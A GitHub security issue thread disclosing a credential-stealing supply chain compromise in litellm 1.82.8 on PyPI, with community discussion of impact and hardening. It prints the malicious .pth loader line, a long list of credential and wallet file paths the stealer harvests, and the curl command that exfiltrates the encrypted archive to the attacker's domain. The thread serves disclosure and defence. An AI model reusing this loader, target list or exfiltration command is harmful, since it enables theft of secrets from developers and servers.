Skip to content

[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer #24512

Closed

Description

@isfinne

[LITELLM TEAM] - For updates from the team, please see: #24518

[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 PyPI package — credential stealer

Summary

The litellm==1.82.8 wheel package on PyPI contains a malicious .pth file (litellm_init.pth, 34,628 bytes) that automatically executes a credential-stealing script every time the Python interpreter starts — no import litellm required.

This is a supply chain compromise. The malicious file is listed in the package's own RECORD:

litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628

Reproduction

pip download litellm==1.82.8 --no-deps -d /tmp/check
python3 -c "
import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
    pth = [n for n in z.namelist() if n.endswith('.pth')]
    print('PTH files:', pth)
    for p in pth:
        print(z.read(p)[:300])
"

You will see litellm_init.pth containing:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])

Malicious Behavior (full analysis)

The payload is double base64-encoded. When decoded, it performs the following:

Stage 1: Information Collection

The script collects sensitive data from the host system:

  • System info: hostname, whoami, uname -a, ip addr, ip route
  • Environment variables: printenv (captures all API keys, secrets, tokens)
  • SSH keys: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/authorized_keys, ~/.ssh/known_hosts, ~/.ssh/config
  • Git credentials: ~/.gitconfig, ~/.git-credentials
  • AWS credentials: ~/.aws/credentials, ~/.aws/config, IMDS token + security credentials
  • Kubernetes secrets: ~/.kube/config, /etc/kubernetes/admin.conf, /etc/kubernetes/kubelet.conf, /etc/kubernetes/controller-manager.conf, /etc/kubernetes/scheduler.conf, service account tokens
  • GCP credentials: ~/.config/gcloud/application_default_credentials.json
  • Azure credentials: ~/.azure/
  • Docker configs: ~/.docker/config.json, /kaniko/.docker/config.json, /root/.docker/config.json
  • Package manager configs: ~/.npmrc, ~/.vault-token, ~/.netrc, ~/.lftprc, ~/.msmtprc, ~/.my.cnf, ~/.pgpass, ~/.mongorc.js
  • Shell history: ~/.bash_history, ~/.zsh_history, ~/.sh_history, ~/.mysql_history, ~/.psql_history, ~/.rediscli_history
  • Crypto wallets: ~/.bitcoin/, ~/.litecoin/, ~/.dogecoin/, ~/.zcash/, ~/.dashcore/, ~/.ripple/, ~/.bitmonero/, ~/.ethereum/keystore/, ~/.cardano/, ~/.config/solana/
  • SSL/TLS private keys: /etc/ssl/private/, Let's Encrypt .pem and .key files
  • CI/CD secrets: terraform.tfvars, .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml, Anchor.toml, ansible.cfg
  • Database credentials: PostgreSQL, MySQL, Redis, LDAP config files
  • Webhook URLs: grep for Slack/Discord webhook URLs in env and config files

Stage 2: Encryption & Exfiltration

  1. Collected data is written to a temporary file
  2. A random 32-byte AES-256 session key is generated via openssl rand
  3. The collected data is encrypted with openssl enc -aes-256-cbc -pbkdf2
  4. The AES session key is encrypted with a hardcoded 4096-bit RSA public key via openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep
  5. Both encrypted files are packed into tpcp.tar.gz
  6. The archive is exfiltrated via:
curl -s -o /dev/null -X POST \
  "https://models.litellm.cloud/" \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @tpcp.tar.gz

Key Technical Details

  • Trigger mechanism: .pth files in site-packages/ are executed automatically by the Python interpreter on startup (see Python docs on .pth files). No import statement is needed.
  • Stealth: The payload is double base64-encoded, making it invisible to naive source code grep.
  • Exfiltration target: https://models.litellm.cloud/ — note the domain litellm.cloud (NOT litellm.ai, the official domain).
  • RSA public key (first 64 chars): MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...

Impact

Anyone who installed litellm==1.82.8 via pip has had all environment variables, SSH keys, cloud credentials, and other secrets collected and sent to an attacker-controlled server.

This affects:

  • Local development machines
  • CI/CD pipelines
  • Docker containers
  • Production servers

Affected Version

  • Confirmed: litellm==1.82.8 (PyPI wheel litellm-1.82.8-py3-none-any.whl)
  • Other versions: Not yet checked — the attacker may have compromised multiple releases

Recommended Actions

  1. PyPI: Yank/remove litellm 1.82.8 immediately
  2. Users: Check for litellm_init.pth in your site-packages/ directory
  3. Users: Rotate ALL credentials that were present as environment variables or in config files on any system where litellm 1.82.8 was installed
  4. BerriAI: Audit PyPI publishing credentials and CI/CD pipeline for compromise

Environment

  • OS: Ubuntu 24.04 (Docker container)
  • Python: 3.13
  • pip installed from PyPI
  • Discovered: 2026-03-24

Activity

  1. hnykda commented on Mar 24, 2026

    @hnykda

    Yep, we have been pwned by this. @krrishdholakia this is very, very bad, thousands of people are likely getting pwned right now.

    Update (2026-03-24 23:47 UTC): My awesome colleague Callum McMahon, who discovered this, wrote an explainer and postmortem going into greater detail: https://futuresearch.ai/blog/no-prompt-injection-required

  2. treo commented on Mar 24, 2026

    @treo

    Version 1.82.7 is also compromised. It doesn't have the pth file, but the payload is still in proxy/proxy_server.py.

  3. praiitt commented on Mar 24, 2026

    @praiitt

    Thanks, that helped!

  4. praiitt commented on Mar 24, 2026

    @praiitt

    This was the answer I was looking for.

  5. Christopher933 commented on Mar 24, 2026

    @Christopher933

    Thanks for the tip!

  6. mahesh-sini commented on Mar 24, 2026

    @mahesh-sini

    Great explanation, thanks for sharing.

  7. bercanozcan commented on Mar 24, 2026

    @bercanozcan

    This was the answer I was looking for.

  8. 18pixels commented on Mar 24, 2026

    @18pixels

    Thanks for the tip!

  9. Balerionth commented on Mar 24, 2026

    @Balerionth

    Great explanation, thanks for sharing.

  10. bwanakweli4ever commented on Mar 24, 2026

    @bwanakweli4ever

    Great explanation, thanks for sharing.

  11. piyushwebexpert commented on Mar 24, 2026

    @piyushwebexpert

    Thanks, that helped!

  12. ascorptech commented on Mar 24, 2026

    @ascorptech

    Worked like a charm, much appreciated.

  13. shivampip commented on Mar 24, 2026

    @shivampip

    Appreciate the help, this fixed it for me.

  14. praiitt commented on Mar 24, 2026

    @praiitt

    This was the answer I was looking for.

  15. 519 remaining items

  16. SerJaimeLannister commented on Mar 27, 2026

    @SerJaimeLannister

    @VX1D I didn't know that telnyx has also been compromised by teampcp.

    Had to search and I am not seeing any official telnyx response and it took me some time to figure out but this is the github issue talking about telnyx getting compromised team-telnyx/telnyx-python#235

  17. VX1D commented on Mar 27, 2026

    @VX1D
  18. mihaimaruseac commented on Mar 27, 2026

    @mihaimaruseac

    https://github.com/geomys/sandboxed-step

    @mihaimaruseac / (Security researcher experts like @DanielRuf ) Do you assume that something like this might be of help as well. either within the litellm exploit or trivy exploit given that this project basically runs containers in gvisor sandbox?

    Would this be relevant to add in the litellm/(maybe trivy?) CI/CD for better security purposes as well?

    I think it might help. There's also nono, more recent, build specifically for agents. They even have a case study for this scenario in particular: https://nono.sh/blog/nono-litellm

    Can I come back to you regarding the newly created security working group and would you be able to lend us a hand as point of contact to OpenSSF and consult a bit around this topic?

    I'd love to <3 Happy to chat here, on Linkedin, Bluesky/X, or wherever else is easy (my blog listed on my page has a list of all profiles, I don't want to spam the links here)

    Signing packages seems like the next logical step after the Telnyx incident today.

    Yes, trusted publishing is the best approach if the package manager suports it (PyPI does). Signing is the next second best.

  19. DanielRuf commented on Mar 27, 2026

    @DanielRuf

    @miketheman I think you are probably pretty busy and deeply involved with triaging and handling the advisory process.

    So not sure how much time and general resources you have left.
    Because a direct line to someone from the security team of PyPi would not be bad and maybe you want and can collect some feedback for improvement suggestions surrounding PyPi.

    Would there still be some room to join the Security WG at https://github.com/BerriAI/litellm-security-wg or is that not an option (and if so, are you open to privately provide some contact details that are only used internally for the planned security disclosure process)?

    Let me know what you think and how the process can be improved by opening the right channels or having the right people on board. Thank you very much.

  20. miketheman commented on Mar 27, 2026

    @miketheman

    @miketheman I think you are probably pretty busy and deeply involved with triaging and handling the advisory process.

    Yes, that's true, and that is also true.

    So not sure how much time and general resources you have left.

    Not many.

    Because a direct line to someone from the security team of PyPi

    The "security team of PyPI" == me.

    would not be bad and maybe you want and can collect some feedback for improvement suggestions surrounding PyPi.

    https://pypi.org/help/#contributing is the place to start.

    Would there still be some room to join the Security WG at BerriAI/litellm-security-wg or is that not an option (and if so, are you open to privately provide some contact details that are only used internally for the planned security disclosure process)?

    Let me know what you think and how the process can be improved by opening the right channels or having the right people on board. Thank you very much.

    There's many open forums, opportunities to engage with the open source package community, and folks need to read the FAQs of the services they use, learn about how they operate and evolve, and most importantly - get involved.

  21. VX1D commented on Mar 27, 2026

    @VX1D

    I agree; the first supply chain attack happened 7 days ago and was widely discussed, so there was a lot of time for organizations to rotate credentials and take precautions - but it seems that a lot of people have ignored it. Telnyx was pwned due to stolen credentials as far as I know (if I'm wrong there, then please correct me). If let's say they got compromised in the most recent LiteLLM attack - they had three days to invalidate the credentials or take preventive action. Incidents like those PCP attacks seem to be less about flaws in the architecture itself and mostly about maintainers. In that sense, TeamPCP is sending a pretty clear message and I guess that will be a turning point in a whole community, or at least it should be. More people should get involved, even at the OSS level.

  22. krrish-berri-2 commented on Mar 27, 2026

    @krrish-berri-2
    Contributor

    Hi everyone, sharing updates from today's townhall: https://docs.litellm.ai/blog/security-townhall-updates

    In terms of roadmap, we plan on following 4 guiding principles for our new CI/CD pipeline:

    • Limit what each package can access
    • Reduce the number of sensitive environment variables
    • Avoid compromised packages
    • Prevent release tampering

    roadmap details: https://docs.litellm.ai/blog/security-townhall-updates#roadmap


    We've already begun making changes to ci/cd (pypi trusted publisher, cosigning releases, etc.), and will share more updates as we make them.

    If you have any feedback/advice for improving security of releases, please let me know.

  23. agnosticlines commented on Mar 28, 2026

    @agnosticlines

    I agree; the first supply chain attack happened 7 days ago and was widely discussed, so there was a lot of time for organizations to rotate credentials and take precautions - but it seems that a lot of people have ignored it. Telnyx was pwned due to stolen credentials as far as I know (if I'm wrong there, then please correct me). If let's say they got compromised in the most recent LiteLLM attack - they had three days to invalidate the credentials or take preventive action. Incidents like those PCP attacks seem to be less about flaws in the architecture itself and mostly about maintainers. In that sense, TeamPCP is sending a pretty clear message and I guess that will be a turning point in a whole community, or at least it should be. More people should get involved, even at the OSS level.

    This is the problem, supply chain attacks happen and they don't affect packages you personally use, so you just go "oh it's fine, we're fine" or if you're a little more paranoid "we got lucky, we'll do something about it next time" and then (usually) nothing is done about it (and many people are totally fine, but you won't always be).

    In general when these attacks happen it's a good idea to be extremely cautious over the next few weeks, they happen in clusters and right now they've basically been smash and grab, but each attack gets more victims, which gets more keys, which spreads more.

    I've been following the security updates @krrish-berri-2 and you're doing everything right and your response is genuinely admirable, zizmor is a fantastic tool that should help a lot, but unfortunately github actions is just... really not very secure by default and requires significant work and understanding of the problem space to defend against these kinds of attacks (in particular cache poisoning, which is EXTREMELY scary honestly and Github need to do something about it... and they could.).

    And it's only going to get worse as (somewhat ironically, given the project) AI democratises the kind of deep domain expertise attackers used to need (the payloads in both cases look very obviously AI generated, and while they're not complex or fancy I think it is notable)

    I think there's a lot to learn here though, and I think we're seeing some things happen for the first time, like I've never seen compromised accounts being used to try and hide the issue through spam/downvotes, I'm sure it won't be the last and defenders should definitely be taking notes from all this.

    The biggest takeaway I have from all of this is litellm and other projects in the same space are serious targets, it's used in many places and as AI gets more and more important you're only going to become more of a target, I think in a "funny" way everyone got off fairly lightly here, this could have been MUCH worse (it was caught within a few hours, thanks to @hnykda and his colleague for such a fast response), but I say this every supply chain attack...

    Either way zimzor and the people behind it are great! And the picks for the security working group (from the little I've seen) look good too, seeing a lot of smart motivated people and I wish you all the best of luck, you really do seem to be approaching it right though, not seen a response like this from an open source project yet.

  24. krrish-berri-2 commented on Mar 28, 2026

    @krrish-berri-2
    Contributor

    @agnosticlines good point re: github actions. One of the community recs was to move to a private github for managing releases. We're currently investigating that, amongst other approaches. Hope to share more soon.

  25. agnosticlines commented on Mar 28, 2026

    @agnosticlines
  26. DanielRuf commented on Mar 28, 2026

    @DanielRuf

    I did get a notification about a new post on the blog about this though,
    from a day or so ago that shows that they might be starting to see the
    problems and offer some real solutions, so that's some good news:
    https://github.blog/news-insights/product-news/whats-coming-to-our-github-actions-2026-security-roadmap/
    so seems like dependency locking, network egress protection for runners and
    execution telemetry might be a reality soon, which should help a lot, I
    would argue these should have been done a lot sooner though

    Interesting, thanks for the link which went a bit unnoticed for me. I wholeheartedly agree with the last sentence. That's all I want to add to your thoughts that match my opinions.

  27. icsy7867 commented on Mar 28, 2026

    @icsy7867

    Thank you guys for the visibility and working in this!

    Should the pre-built containers typically be okay to use? Perusing their Dockerfiles it seems they should be okay?

  28. DmitriyG228 commented on Mar 30, 2026

    @DmitriyG228

    @DanielRuf @SerJaimeLannister @mihaimaruseac — following up on my earlier comment (March 25).

    My GitHub account (DmitriyG228) and organization (Vexa-ai) remain flagged — returning 404 to all other users. I've opened reinstatement ticket #4199834 with GitHub Trust & Safety, but it's been 5 days without action.

    Since you three have been directly involved in documenting the compromised accounts and appear to be in contact with GitHub staff: would any of you be willing to add a comment to my support ticket, or write to trust@github.com on my behalf confirming that DmitriyG228 was a victim of the TeamPCP botnet and not a malicious actor? The ticket is open under the account DmitriyG228.

    The two comments posted from my account ("Exactly what I needed, thanks." / "Thanks for the tip!") are textbook examples of the bot pattern documented in Rami McCarthy's analysis. I operate a legitimate open-source project (Vexa-ai/vexa, 1,833 stars) and the false positive is causing real harm — contributors and users can't reach any of our repositories.

  29. felipeavilis commented on Apr 13, 2026

    @felipeavilis

    Does anyone knows if 1.81 is compromissed?

  30. DanielRuf commented on Apr 13, 2026

    @DanielRuf

    @felipeavilis see the linked post in the initial comment: #24518

    Only 1.82.7 and 1.82.8 were compromised, but not earlier versions.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions